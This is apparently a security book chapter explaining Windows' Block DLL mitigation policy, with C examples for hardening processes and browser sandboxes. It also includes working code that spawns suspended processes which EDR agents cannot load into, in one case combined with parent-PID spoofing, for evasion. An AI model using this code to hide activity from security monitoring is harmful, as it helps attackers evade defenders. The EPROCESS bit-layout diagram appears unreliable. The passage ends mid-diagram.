In this final chapter, we explore one of Windows' most fascinating security features—a mechanism that serves as both a powerful defensive shield and, ironically, a tool that attackers can leverage against the very security systems designed to protect us. The Block DLL Policy, formally known as Code Integrity Guard for loaded images (CIG), represents the dual-use nature of security technologies: every protective measure creates new attack surfaces, and every defense can potentially become an offense.
Before diving into the technical implementation, we must understand the fundamental problem that Block DLL Policy addresses: How does an operating system know which code to trust?
When a process requests to load a DLL, Windows faces a critical decision. Should this library be allowed to execute within the process's address space? Traditionally, the answer was simple—if the file exists and the process has permission to read it, the load proceeds. This permissive model served well during computing's early days, but modern threat landscapes demand more sophisticated controls.
The Block DLL Policy introduces a cryptographic trust boundary. Rather than asking "Does this file exist?", the system asks "Who vouches for this code?" The answer comes through digital signatures. Code signed by Microsoft receives implicit trust, while unsigned or third-party signed binaries can be systematically excluded.
┌─────────────────────────────────────────────────────────────────────────────┐
│ THE TRUST DECISION │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Traditional Model: │
│ ┌─────────────────┐ ┌─────────────────┐ ┌────────────────────┐ │
│ │ LoadLibrary() │───▶│ File Exists? │───▶│ Load Proceeds │ │
│ │ │ │ + Permissions OK?│ │ (Any DLL) │ │
│ └─────────────────┘ └─────────────────┘ └────────────────────┘ │
│ │
│ Block DLL Model: │
│ ┌─────────────────┐ ┌─────────────────┐ ┌────────────────────┐ │
│ │ LoadLibrary() │───▶│ Signature Valid?│───▶│ Microsoft Signed? │ │
│ │ │ │ │ │ │ │
│ └─────────────────┘ └────────┬────────┘ └─────────┬──────────┘ │
│ │ │ │
│ ┌─────────▼─────────┐ ┌────────▼────────┐ │
│ │ Invalid/Unsigned │ │ Yes: Load OK │ │
│ │ STATUS_INVALID_ │ │ No: BLOCKED │ │
│ │ IMAGE_HASH │ │ │ │
│ └───────────────────┘ └─────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
This paradigm shift has profound implications. Legitimate software developers can protect their applications from malicious DLL injection. Browser vendors can sandbox renderer processes, preventing exploits from loading attack code. But the same mechanism that blocks malicious DLLs also blocks EDR monitoring agents—those third-party security tools we rely on to detect and prevent attacks.
Windows exposes several process mitigation policies that collectively harden applications against various attack techniques. Block DLL Policy exists within this ecosystem alongside other protective measures. Understanding these policies helps us appreciate the defense-in-depth strategy Microsoft has implemented.
The process mitigation framework operates at the kernel level, storing policy flags in the EPROCESS structure of each process. Once set, these flags influence how the kernel handles various operations—from memory allocation to DLL loading to exception handling.
| Policy Flag | Purpose | Effect |
|---|---|---|
| BLOCK_NON_MICROSOFT_BINARIES | Signature enforcement | Rejects DLLs not signed by Microsoft |
| PROHIBIT_DYNAMIC_CODE | JIT prevention | Blocks VirtualAlloc with execute permissions |
| CONTROL_FLOW_GUARD | CFG enforcement | Validates indirect call targets |
| IMAGE_LOAD_NO_REMOTE | Network isolation | Prevents loading DLLs from network shares |
| IMAGE_LOAD_NO_LOW_LABEL | Integrity enforcement | Blocks DLLs from low-integrity locations |
Each policy addresses a specific attack vector. Block DLL Policy focuses on the trust boundary—ensuring only vetted code executes. Dynamic code prohibition prevents attackers from JIT-compiling shellcode. Control Flow Guard validates that indirect calls target legitimate functions. These policies work synergistically, each covering gaps the others leave.
┌─────────────────────────────────────────────────────────────────────────────┐
│ POLICY STORAGE IN EPROCESS │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ EPROCESS Structure: │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ ... │ │
│ │ MitigationFlags: ULONG │ │
│ │ ├── Bit 0-3: DEP settings │ │
│ │ ├── Bit 4-7: SEHOP settings │ │
│ │ ├── Bit 8-11: Heap termination │ │
│ │ ├── Bit 12-15: Stack randomization │ │
│ │ ├── Bit 16-19: Image load restrictions │ │
│ │ ├── Bit 20-23: Binary signature enforcement ◄─── Block DLL │ │
│ │ ├── Bit 24-27: CFG settings │ │
│ │ └── Bit 28-31: Dynamic code restrictions │ │
│ │ │ │
│ │ MitigationFlags2: ULONG │ │
│ │ └── Extended mitigation policies │ │
│ │ ... │ │
│ └─────────────────────────────────────────────────────────────────────┘ │
│ │
│ Kernel checks these flags during: │
│ • DLL load operations (LdrLoadDll) │
│ • Memory allocation (NtAllocateVirtualMemory) │
│ • Section creation (NtCreateSection) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
When Block DLL Policy is enabled, the kernel consults a hierarchy of trusted signers. Understanding this hierarchy reveals both the policy's strength and its limitations.
At the top sits Microsoft's own signature—code signed by Microsoft Corporation receives unconditional trust under the default policy. This encompasses the Windows operating system itself, core system components, and applications published through Microsoft's development channels.
Below Microsoft's signature come optional trust categories. WHQL signatures cover hardware drivers that have passed Windows Hardware Quality Labs testing. Windows Store signatures cover applications distributed through Microsoft's app marketplace. These categories can be individually enabled or disabled, providing granular control over the trust boundary.
Third-party signatures—including those from reputable security vendors like CrowdStrike, SentinelOne, or Symantec—fall outside the default trust boundary. This is precisely why Block DLL Policy becomes a double-edged sword: the same mechanism protecting legitimate applications also excludes legitimate security tools.
┌─────────────────────────────────────────────────────────────────────────────┐
│ SIGNATURE TRUST HIERARCHY │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ MICROSOFT SIGNATURE │ │
│ │ (Always Trusted) │ │
│ │ • Windows OS components │ │
│ │ • Microsoft applications │ │
│ │ • Visual Studio redistributables │ │
│ └───────────────────────────────┬─────────────────────────────────────┘ │
│ │ │
│ ┌───────────────────────────────▼─────────────────────────────────────┐ │
│ │ WHQL SIGNATURE (Configurable) │ │
│ │ • Hardware drivers │ │
│ │ • Kernel-mode components │ │
│ └───────────────────────────────┬─────────────────────────────────────┘ │
│ │ │
│ ┌───────────────────────────────▼─────────────────────────────────────┐ │
│ │ STORE SIGNATURE (Configurable) │ │
│ │ • UWP applications │ │
│ │ • Microsoft Store apps │ │
│ └───────────────────────────────┬─────────────────────────────────────┘ │
│ │ │
│ ╔═══════════════════════════════▼═════════════════════════════════════╗ │
│ ║ THIRD-PARTY SIGNATURES ║ │
│ ║ (BLOCKED by Default) ║ │
│ ║ • Security vendor DLLs (EDR, AV) ║ │
│ ║ • Enterprise software ║ │
│ ║ • Developer tools ║ │
│ ╚═════════════════════════════════════════════════════════════════════╝ │
│ │ │
│ ╔═══════════════════════════════▼═════════════════════════════════════╗ │
│ ║ UNSIGNED BINARIES ║ │
│ ║ (Always BLOCKED) ║ │
│ ║ • Custom DLLs ║ │
│ ║ • Malware payloads ║ │
│ ║ • Developer test builds ║ │
│ ╚═════════════════════════════════════════════════════════════════════╝ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
The most common and effective way to apply Block DLL Policy is during process creation. Using the extended startup information structure, we can specify mitigation policies before the new process begins execution. This approach ensures the policy takes effect before any DLL loading occurs—including the loader's own dependencies.
The implementation requires careful attention to the attribute list mechanism Windows provides for extended process creation parameters.
#include <windows.h>
#include <stdio.h>
/*
* CreateProcessWithBlockDLL
*
* Creates a new process with the Block DLL mitigation policy enabled.
* The spawned process will reject any DLL not signed by Microsoft.
*
* This function demonstrates the proper initialization sequence:
* 1. Calculate required attribute list size
* 2. Allocate and initialize the attribute list
* 3. Add the mitigation policy attribute
* 4. Create the process with extended startup info
* 5. Clean up the attribute list
*/
BOOL CreateProcessWithBlockDLL(
LPCWSTR wszApplicationName,
LPWSTR wszCommandLine,
PPROCESS_INFORMATION pProcessInfo
) {
STARTUPINFOEXW siEx = { 0 };
siEx.StartupInfo.cb = sizeof(STARTUPINFOEXW);
SIZE_T sAttrListSize = 0;
BOOL bResult = FALSE;
/*
* Step 1: Query the required size for the attribute list
*
* The first call with NULL determines how much memory we need.
* We're requesting space for 1 attribute (the mitigation policy).
*/
InitializeProcThreadAttributeList(NULL, 1, 0, &sAttrListSize);
/*
* Step 2: Allocate the attribute list
*
* The list must be allocated from the process heap.
* HEAP_ZERO_MEMORY ensures clean initialization.
*/
siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
sAttrListSize
);
if (!siEx.lpAttributeList) {
printf("[-] Failed to allocate attribute list\n");
return FALSE;
}
/*
* Step 3: Initialize the attribute list structure
*
* This prepares the memory to receive attribute entries.
*/
if (!InitializeProcThreadAttributeList(
siEx.lpAttributeList,
1, /* Number of attributes */
0, /* Reserved, must be 0 */
&sAttrListSize
)) {
printf("[-] InitializeProcThreadAttributeList failed: %d\n",
GetLastError());
HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
return FALSE;
}
/*
* Step 4: Define the mitigation policy
*
* PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
* This flag ensures all non-Microsoft DLLs are rejected.
* The "ALWAYS_ON" suffix means the policy cannot be disabled later.
*/
DWORD64 dwPolicy =
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
/*
* Step 5: Add the mitigation policy to the attribute list
*
* PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY specifies we're setting
* process mitigation policies rather than other attributes like
* parent process or security capabilities.
*/
if (!UpdateProcThreadAttribute(
siEx.lpAttributeList,
0, /* Reserved */
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, /* Attribute type */
&dwPolicy, /* Attribute value */
sizeof(dwPolicy), /* Value size */
NULL, /* Previous value */
NULL /* Return size */
)) {
printf("[-] UpdateProcThreadAttribute failed: %d\n", GetLastError());
DeleteProcThreadAttributeList(siEx.lpAttributeList);
HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
return FALSE;
}
/*
* Step 6: Create the process
*
* EXTENDED_STARTUPINFO_PRESENT tells CreateProcess to look for
* the extended attribute list in our STARTUPINFOEXW structure.
*
* CREATE_SUSPENDED gives us control before the process runs,
* useful if we need to perform additional setup.
*/
bResult = CreateProcessW(
wszApplicationName,
wszCommandLine,
NULL, /* Process security */
NULL, /* Thread security */
FALSE, /* Inherit handles */
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
NULL, /* Environment */
NULL, /* Current directory */
&siEx.StartupInfo,
pProcessInfo
);
if (!bResult) {
printf("[-] CreateProcess failed: %d\n", GetLastError());
}
/*
* Step 7: Cleanup
*
* Always delete the attribute list and free memory,
* regardless of whether CreateProcess succeeded.
*/
DeleteProcThreadAttributeList(siEx.lpAttributeList);
HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
return bResult;
}
int main(void) {
PROCESS_INFORMATION pi = { 0 };
printf("[*] Creating notepad.exe with Block DLL Policy...\n");
if (CreateProcessWithBlockDLL(
L"C:\\Windows\\System32\\notepad.exe",
NULL,
&pi
)) {
printf("[+] Process created successfully\n");
printf(" PID: %d\n", pi.dwProcessId);
printf(" Block DLL Policy: ENABLED\n");
printf("[*] Resuming process...\n");
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
return 0;
}
This pattern forms the foundation for both defensive and offensive applications. The same code that protects a browser's renderer process can create an environment where EDR monitoring is impossible.
Real-world hardening rarely relies on a single mitigation. Defense in depth demands layering multiple protections, each addressing different attack vectors. The attribute list mechanism allows combining policies into a comprehensive security posture.
#include <windows.h>
#include <stdio.h>
/*
* CreateHardenedProcess
*
* Spawns a process with multiple mitigation policies enabled.
* This represents a "defense in depth" approach where multiple
* security mechanisms work together.
*
* Enabled mitigations:
* - Block non-Microsoft DLLs (prevents untrusted code loading)
* - Block remote images (prevents loading from network shares)
* - Block low-integrity images (prevents loading from untrusted locations)
* - Optional: Prohibit dynamic code (prevents JIT and shellcode)
*/
BOOL CreateHardenedProcess(
LPCWSTR wszApplicationName,
PPROCESS_INFORMATION pProcessInfo
) {
STARTUPINFOEXW siEx = { 0 };
siEx.StartupInfo.cb = sizeof(STARTUPINFOEXW);
SIZE_T sAttrListSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &sAttrListSize);
siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
sAttrListSize
);
if (!siEx.lpAttributeList) {
return FALSE;
}
if (!InitializeProcThreadAttributeList(
siEx.lpAttributeList, 1, 0, &sAttrListSize)) {
HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
return FALSE;
}
/*
* Combine multiple policies using bitwise OR
*
* Each policy addresses a specific attack vector:
*
* BLOCK_NON_MICROSOFT_BINARIES:
* Prevents loading unsigned or third-party signed DLLs.
* Stops most malware injection and EDR evasion techniques.
*
* IMAGE_LOAD_NO_REMOTE:
* Prevents loading DLLs from UNC paths (\\server\share\).
* Blocks lateral movement techniques using network resources.
*
* IMAGE_LOAD_NO_LOW_LABEL:
* Prevents loading DLLs from low-integrity locations.
* Blocks attacks that drop payloads to user temp directories.
*/
DWORD64 dwPolicy =
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON |
PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_REMOTE_ALWAYS_ON |
PROCESS_CREATION_MITIGATION_POLICY_IMAGE_LOAD_NO_LOW_LABEL_ALWAYS_ON;
/*
* Optional: Prohibit dynamic code
*
* This prevents VirtualAlloc with PAGE_EXECUTE permissions,
* blocking shellcode execution and JIT compilation.
*
* WARNING: This breaks many legitimate applications including:
* - Browsers (JavaScript JIT)
* - .NET applications (JIT compilation)
* - Python, Java, etc.
*
* Only enable for applications known to not require JIT.
*/
// dwPolicy |= PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON;
UpdateProcThreadAttribute(
siEx.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,
&dwPolicy,
sizeof(dwPolicy),
NULL,
NULL
);
BOOL bResult = CreateProcessW(
wszApplicationName,
NULL,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
&siEx.StartupInfo,
pProcessInfo
);
DeleteProcThreadAttributeList(siEx.lpAttributeList);
HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
return bResult;
}
The interaction between policies creates emergent security properties. Block DLL Policy alone might be bypassed if an attacker can load malicious code from a network share during early process initialization. Adding NO_REMOTE closes that gap. Similarly, NO_LOW_LABEL prevents attacks that drop payloads to user-writable directories before loading them.
While process-creation-time policy application is most common, Windows also provides APIs to enable mitigation policies on already-running processes. This approach has important limitations—once enabled, policies cannot be disabled—but serves legitimate use cases.
#include <windows.h>
#include <stdio.h>
/*
* EnableBlockDLLForCurrentProcess
*
* Applies the Block DLL mitigation policy to the calling process.
* After this call, any attempt to load non-Microsoft DLLs will fail.
*
* IMPORTANT: This is a one-way operation. Once enabled, the policy
* cannot be disabled for the lifetime of the process. This prevents
* attackers from disabling the protection after gaining code execution.
*/
BOOL EnableBlockDLLForCurrentProcess(void) {
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = { 0 };
/*
* Configure the policy structure
*
* MicrosoftSignedOnly: Only allow Microsoft-signed binaries
* StoreSignedOnly: Allow Windows Store signed binaries
* MitigationOptIn: Indicates voluntary opt-in (informational)
* AuditEnabled: Log violations without blocking (for testing)
*/
policy.MicrosoftSignedOnly = 1;
/*
* Optional configurations:
* policy.StoreSignedOnly = 1; // Also allow Store apps
* policy.AuditEnabled = 1; // Audit mode only (log, don't block)
*/
BOOL bResult = SetProcessMitigationPolicy(
ProcessSignaturePolicy,
&policy,
sizeof(policy)
);
if (bResult) {
printf("[+] Block DLL Policy enabled for current process\n");
} else {
printf("[-] Failed to enable Block DLL Policy: %d\n", GetLastError());
}
return bResult;
}
/*
* QueryBlockDLLPolicy
*
* Queries the current Block DLL policy settings for a process.
* Useful for verifying policy state or auditing running processes.
*/
void QueryBlockDLLPolicy(void) {
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = { 0 };
BOOL bResult = GetProcessMitigationPolicy(
GetCurrentProcess(),
ProcessSignaturePolicy,
&policy,
sizeof(policy)
);
if (bResult) {
printf("\n[*] Block DLL Policy Status:\n");
printf(" Microsoft Signed Only: %s\n",
policy.MicrosoftSignedOnly ? "Yes" : "No");
printf(" Store Signed Allowed: %s\n",
policy.StoreSignedOnly ? "Yes" : "No");
printf(" Mitigation Opt-In: %s\n",
policy.MitigationOptIn ? "Yes" : "No");
printf(" Audit Enabled: %s\n",
policy.AuditMicrosoftSignedOnly ? "Yes" : "No");
} else {
printf("[-] Failed to query policy: %d\n", GetLastError());
}
}
/*
* DemonstrateOneWayNature
*
* Demonstrates that mitigation policies are one-way.
* Once enabled, they cannot be disabled.
*/
void DemonstrateOneWayNature(void) {
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY policy = { 0 };
printf("\n[*] Demonstrating one-way policy behavior...\n");
/* Enable the policy */
policy.MicrosoftSignedOnly = 1;
if (SetProcessMitigationPolicy(ProcessSignaturePolicy, &policy, sizeof(policy))) {
printf("[+] Policy enabled successfully\n");
}
/* Attempt to disable - this will fail */
policy.MicrosoftSignedOnly = 0;
if (!SetProcessMitigationPolicy(ProcessSignaturePolicy, &policy, sizeof(policy))) {
DWORD dwError = GetLastError();
printf("[-] Cannot disable policy: Error %d", dwError);
if (dwError == ERROR_ACCESS_DENIED) {
printf(" (ACCESS_DENIED)\n");
printf(" This is expected - mitigation policies are one-way.\n");
printf(" Once enabled, they remain active until process exit.\n");
} else {
printf("\n");
}
}
}
int main(void) {
printf("[*] Block DLL Policy - Current Process Demo\n");
/* Show initial state */
printf("\n=== Before Enabling ===\n");
QueryBlockDLLPolicy();
/* Enable the policy */
printf("\n=== Enabling Policy ===\n");
EnableBlockDLLForCurrentProcess();
/* Show new state */
printf("\n=== After Enabling ===\n");
QueryBlockDLLPolicy();
/* Demonstrate irreversibility */
DemonstrateOneWayNature();
return 0;
}
The irreversible nature of mitigation policies is a deliberate security design. If an attacker gains code execution within a protected process, they cannot simply disable the protections to load additional malicious code. The only escape is to spawn a new process—which provides defenders an opportunity to detect the unusual process creation.
Here lies the controversial dual-use nature of Block DLL Policy. Endpoint Detection and Response (EDR) solutions typically inject monitoring DLLs into processes to observe behavior, intercept suspicious API calls, and detect malicious patterns. These monitoring DLLs are signed by security vendors—legitimate third parties, but third parties nonetheless.
When an attacker spawns a process with Block DLL Policy enabled, the operating system dutifully prevents the EDR's monitoring DLLs from loading. The spawned process becomes a "clean room" where malicious code can execute without userspace security monitoring.
┌─────────────────────────────────────────────────────────────────────────────┐
│ EDR EVASION VIA BLOCK DLL │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Normal Process Creation: │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────────────────────┐ │
│ │ CreateProcess│───▶│ ntdll.dll │───▶│ Process Running │ │
│ │ │ │ kernel32.dll │ │ + EDR.dll (monitoring) │ │
│ │ │ │ EDR.dll │ │ + API hooks active │ │
│ └──────────────┘ └──────────────┘ └──────────────────────────────┘ │
│ │
│ Block DLL Process Creation: │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────────────────────┐ │
│ │ CreateProcess│───▶│ ntdll.dll │───▶│ Process Running │ │
│ │ + Block DLL │ │ kernel32.dll │ │ │ │
│ │ │ │ EDR.dll ──X │ │ NO EDR MONITORING │ │
│ └──────────────┘ │ (BLOCKED) │ │ API hooks absent │ │
│ └──────────────┘ └──────────────────────────────┘ │
│ │
│ Result: Malicious code executes in an unmonitored environment │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
This technique became notorious after its adoption by sophisticated threat actors and red team toolkits. The elegance lies in using Windows' own security feature against security products—a case of turning the defender's tools against them.
The implementation extends naturally from our previous examples. An attacker spawns a sacrificial process with Block DLL enabled, then injects their payload using standard process injection techniques. The key insight is that the injection itself uses APIs in the parent process (which may be monitored), but the payload executes in the child process (which is not).
#include <windows.h>
#include <stdio.h>
/*
* SpawnProcessWithoutEDR
*
* Creates a process where third-party security DLLs cannot load.
* This includes EDR monitoring agents, leaving the process
* without userspace-level security visibility.
*
* The technique works because:
* 1. EDR DLLs are signed by security vendors (third party)
* 2. Block DLL Policy rejects non-Microsoft signatures
* 3. The spawned process runs without security monitoring
*/
BOOL SpawnProcessWithoutEDR(
LPCWSTR wszTarget,
PPROCESS_INFORMATION pProcessInfo
) {
STARTUPINFOEXW siEx = { 0 };
siEx.StartupInfo.cb = sizeof(STARTUPINFOEXW);
SIZE_T sAttrListSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &sAttrListSize);
siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
sAttrListSize
);
if (!siEx.lpAttributeList) return FALSE;
InitializeProcThreadAttributeList(siEx.lpAttributeList, 1, 0, &sAttrListSize);
/*
* This single flag prevents all third-party DLLs from loading.
* EDR agents cannot inject their monitoring hooks.
*/
DWORD64 dwPolicy =
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
UpdateProcThreadAttribute(
siEx.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,
&dwPolicy,
sizeof(dwPolicy),
NULL,
NULL
);
/*
* Create the process suspended so we can inject before execution.
* The EDR cannot inject its monitoring DLL—it will be rejected
* with STATUS_INVALID_IMAGE_HASH.
*/
BOOL bResult = CreateProcessW(
wszTarget,
NULL,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
NULL,
NULL,
&siEx.StartupInfo,
pProcessInfo
);
DeleteProcThreadAttributeList(siEx.lpAttributeList);
HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
return bResult;
}
Sophisticated attackers rarely rely on single techniques. Combining Block DLL Policy with other evasion methods creates layers that defenders must penetrate. Parent Process ID (PPID) spoofing, for instance, can mask the true origin of the protected process.
#include <windows.h>
#include <stdio.h>
/*
* SpawnStealthProcess
*
* Combines two evasion techniques:
* 1. Block DLL Policy - Prevents EDR DLL injection
* 2. PPID Spoofing - Disguises the parent-child relationship
*
* Together, these make detection significantly harder:
* - EDR usermode hooks are absent
* - Process tree analysis shows false relationships
*/
BOOL SpawnStealthProcess(
LPCWSTR wszTarget,
DWORD dwFakeParentPid,
PPROCESS_INFORMATION pProcessInfo
) {
STARTUPINFOEXW siEx = { 0 };
siEx.StartupInfo.cb = sizeof(STARTUPINFOEXW);
SIZE_T sAttrListSize = 0;
/*
* Request space for TWO attributes:
* 1. Mitigation policy (Block DLL)
* 2. Parent process (PPID spoof)
*/
InitializeProcThreadAttributeList(NULL, 2, 0, &sAttrListSize);
siEx.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
HEAP_ZERO_MEMORY,
sAttrListSize
);
if (!siEx.lpAttributeList) return FALSE;
if (!InitializeProcThreadAttributeList(siEx.lpAttributeList, 2, 0, &sAttrListSize)) {
HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
return FALSE;
}
/*
* Attribute 1: Block non-Microsoft DLLs
*/
DWORD64 dwPolicy =
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
UpdateProcThreadAttribute(
siEx.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY,
&dwPolicy,
sizeof(dwPolicy),
NULL,
NULL
);
/*
* Attribute 2: Spoof parent process
*
* We need PROCESS_CREATE_PROCESS access to the fake parent.
* Common targets: explorer.exe, svchost.exe, RuntimeBroker.exe
*/
HANDLE hParent = OpenProcess(
PROCESS_CREATE_PROCESS,
FALSE,
dwFakeParentPid
);
if (hParent) {
UpdateProcThreadAttribute(
siEx.lpAttributeList,
0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent,
sizeof(hParent),
NULL,
NULL
);
} else {
printf("[!] Warning: Could not open parent process %d\n", dwFakeParentPid);
printf(" Proceeding without PPID spoofing\n");
}
BOOL bResult = CreateProcessW(
wszTarget,
NULL,
NULL,
NULL,
FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
NULL,
NULL,
&siEx.StartupInfo,
pProcessInfo
);
if (hParent) CloseHandle(hParent);
DeleteProcThreadAttributeList(siEx.lpAttributeList);
HeapFree(GetProcessHeap(), 0, siEx.lpAttributeList);
if (bResult) {
printf("[+] Stealth process created:\n");
printf(" PID: %d\n", pProcessInfo->dwProcessId);
printf(" Block DLL: Enabled\n");
printf(" Spoofed PPID: %d\n", dwFakeParentPid);
}
return bResult;
}
Each additional technique raises the bar for detection. EDR vendors must now maintain visibility through kernel-mode components, ETW subscriptions, and other mechanisms that operate outside the usermode DLL paradigm.
Despite its offensive potential, Block DLL Policy serves legitimate security purposes. Application developers can protect their software from malicious DLL injection. Browser vendors sandbox renderer processes to contain web-based exploits. Financial institutions harden transaction-processing applications against tampering.
#include <windows.h>
#include <stdio.h>
/*
* HardenSecuritySensitiveProcess
*
* Applies comprehensive mitigation policies to protect
* a security-sensitive application. This is the DEFENSIVE
* use case for these technologies.
*
* Appropriate for:
* - Password managers
* - Financial transaction software
* - Credential handling applications
* - Security tools themselves
*/
BOOL HardenSecuritySensitiveProcess(void) {
BOOL bSuccess = TRUE;
printf("[*] Applying security hardening policies...\n\n");
/*
* Policy 1: Binary signature enforcement
*
* Prevents loading unsigned or third-party DLLs.
* This stops DLL injection attacks at the source.
*/
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sigPolicy = { 0 };
sigPolicy.MicrosoftSignedOnly = 1;
if (SetProcessMitigationPolicy(ProcessSignaturePolicy, &sigPolicy, sizeof(sigPolicy))) {
printf("[+] Binary signature policy enabled\n");
printf(" Only Microsoft-signed DLLs allowed\n\n");
} else {
printf("[-] Binary signature policy failed: %d\n", GetLastError());
bSuccess = FALSE;
}
/*
* Policy 2: Dynamic code restriction
*
* Prevents creation of executable memory pages.
* Blocks shellcode execution and most exploitation techniques.
*
* WARNING: Breaks JIT-based applications!
*/
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY codePolicy = { 0 };
codePolicy.ProhibitDynamicCode = 1;
if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &codePolicy, sizeof(codePolicy))) {
printf("[+] Dynamic code policy enabled\n");
printf(" VirtualAlloc with EXECUTE blocked\n\n");
} else {
printf("[-] Dynamic code policy failed: %d\n", GetLastError());
/* Non-fatal - some processes may need JIT */
}
/*
* Policy 3: Control Flow Guard (if supported)
*
* Validates indirect call targets against known-good addresses.
* Prevents ROP chains and function pointer corruption.
*/
PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY cfgPolicy = { 0 };
cfgPolicy.EnableControlFlowGuard = 1;
cfgPolicy.StrictMode = 1;
if (SetProcessMitigationPolicy(ProcessControlFlowGuardPolicy, &cfgPolicy, sizeof(cfgPolicy))) {
printf("[+] Control Flow Guard enabled\n");
printf(" Indirect calls validated\n\n");
} else {
/* CFG must be compiled into the binary - this is expected to fail
if the binary wasn't compiled with /guard:cf */
printf("[!] CFG not available (requires compilation support)\n\n");
}
/*
* Policy 4: Image load restrictions
*
* Prevents loading DLLs from:
* - Network shares (lateral movement defense)
* - Low-integrity locations (payload staging defense)
*/
PROCESS_MITIGATION_IMAGE_LOAD_POLICY imgPolicy = { 0 };
imgPolicy.NoRemoteImages = 1;
imgPolicy.NoLowMandatoryLabelImages = 1;
if (SetProcessMitigationPolicy(ProcessImageLoadPolicy, &imgPolicy, sizeof(imgPolicy))) {
printf("[+] Image load policy enabled\n");
printf(" No remote images, no low-integrity images\n\n");
} else {
printf("[-] Image load policy failed: %d\n", GetLastError());
}
printf("=================================\n");
printf("[*] Hardening complete\n");
printf(" Process is protected against:\n");
printf(" - DLL injection\n");
printf(" - Shellcode execution\n");
printf(" - Control flow hijacking\n");
printf(" - Remote DLL loading\n");
return bSuccess;
}
int main(void) {
printf("=== Security Hardening Demo ===\n\n");
HardenSecuritySensitiveProcess();
printf("\n[*] Process running with mitigations...\n");
printf("[*] Press Enter to exit\n");
getchar();
return 0;
}
Modern browsers exemplify this defensive approach. Chrome, Edge, and Firefox all spawn renderer processes with aggressive mitigation policies. A compromised renderer—even one executing attacker-controlled JavaScript that achieves code execution—cannot easily load additional malicious code due to Block DLL Policy and dynamic code restrictions.
┌─────────────────────────────────────────────────────────────────────────────┐
│ BROWSER SANDBOX ARCHITECTURE │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────────┐ │
│ │ BROWSER MAIN PROCESS │ │
│ │ (Trusted, Full Privileges) │ │
│ │ - Network access │ │
│ │ - File system access │ │
│ │ - No content rendering │ │
│ └───────────────────────────────┬─────────────────────────────────────┘ │
│ │ │
│ ┌───────────────────┼───────────────────┐ │
│ ▼ ▼ ▼ │
│ ┌───────────────────┐ ┌───────────────────┐ ┌───────────────────┐ │
│ │ RENDERER 1 │ │ RENDERER 2 │ │ RENDERER 3 │ │
│ │ (Sandboxed) │ │ (Sandboxed) │ │ (Sandboxed) │ │
│ │ │ │ │ │ │ │
│ │ Mitigations: │ │ Mitigations: │ │ Mitigations: │ │
│ │ ✓ Block DLL │ │ ✓ Block DLL │ │ ✓ Block DLL │ │
│ │ ✓ No Dynamic │ │ ✓ No Dynamic │ │ ✓ No Dynamic │ │
│ │ ✓ No Remote │ │ ✓ No Remote │ │ ✓ No Remote │ │
│ │ ✓ CFG Enabled │ │ ✓ CFG Enabled │ │ ✓ CFG Enabled │ │
│ │ │ │ │ │ │ │
│ │ Exploit impact: │ │ Exploit impact: │ │ Exploit impact: │ │
